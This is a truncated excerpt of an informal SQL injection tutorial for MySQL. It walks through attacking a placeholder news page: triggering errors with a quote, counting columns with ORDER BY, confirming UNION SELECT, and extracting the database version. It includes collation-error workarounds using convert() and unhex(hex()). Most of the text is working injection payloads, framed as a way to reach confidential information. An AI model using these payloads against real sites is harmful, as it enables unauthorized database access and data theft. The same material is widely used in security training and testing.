SQL Injection Tutorial - Full
SQL Injection Tutorial by Marezzi (MySQL)
In this tutorial i will describe how sql injection works and how to
use it to get some useful information.
First of all: What is SQL injection?
It’s one of the most common vulnerability in web applications today.
It allows attacker to execute database query in url and gain access
to some confidential information etc…(in shortly).
1.SQL Injection (classic or error based or whatever you call it) 
2.Blind SQL Injection (the harder part)
So let’s start with some action
1). Check for vulnerability
Let’s say that we have some site like this
http://www.site.com/news.php?id=5
Now to test if is vulrnable we add to the end of url ‘ (quote),
and that would be http://www.site.com/news.php?id=5′
so if we get some error like
“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc…”
or something similar
that means is vulrnable to sql injection 
2). Find the number of columns
To find number of columns we use statement ORDER BY (tells database how to order the result)
so how to use it? Well just incrementing the number until we get an error.
http://www.site.com/news.php?id=5 order by 1/* < -- no error
http://www.site.com/news.php?id=5 order by 2/* <-- no error
http://www.site.com/news.php?id=5 order by 3/* <-- no error
http://www.site.com/news.php?id=5 order by 4/* <-- error (we get message like this Unknown column '4' in 'order clause' or something like that)
that means that the it has 3 columns, cause we got an error on 4.
3). Check for UNION function
With union we can select more data in one sql statement.
so we have
http://www.site.com/news.php?id=5 union all select 1,2,3/* (we already found that number of columns are 3 in section 2). )
if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works
4). Check for MySQL version
http://www.site.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try --
it's a comment and it's important for our query to work properly.
let say that we have number 2 on the screen, now to check for version
we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.
it should look like this http://www.site.com/news.php?id=5 union all select 1,@@version,3/*
if you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."
i didn't see any paper covering this problem, so i must write it
what we need is convert() function
i.e.
http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*
or with hex() and unhex()
i.e.
http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*
and you will get MySQL version
(more…)
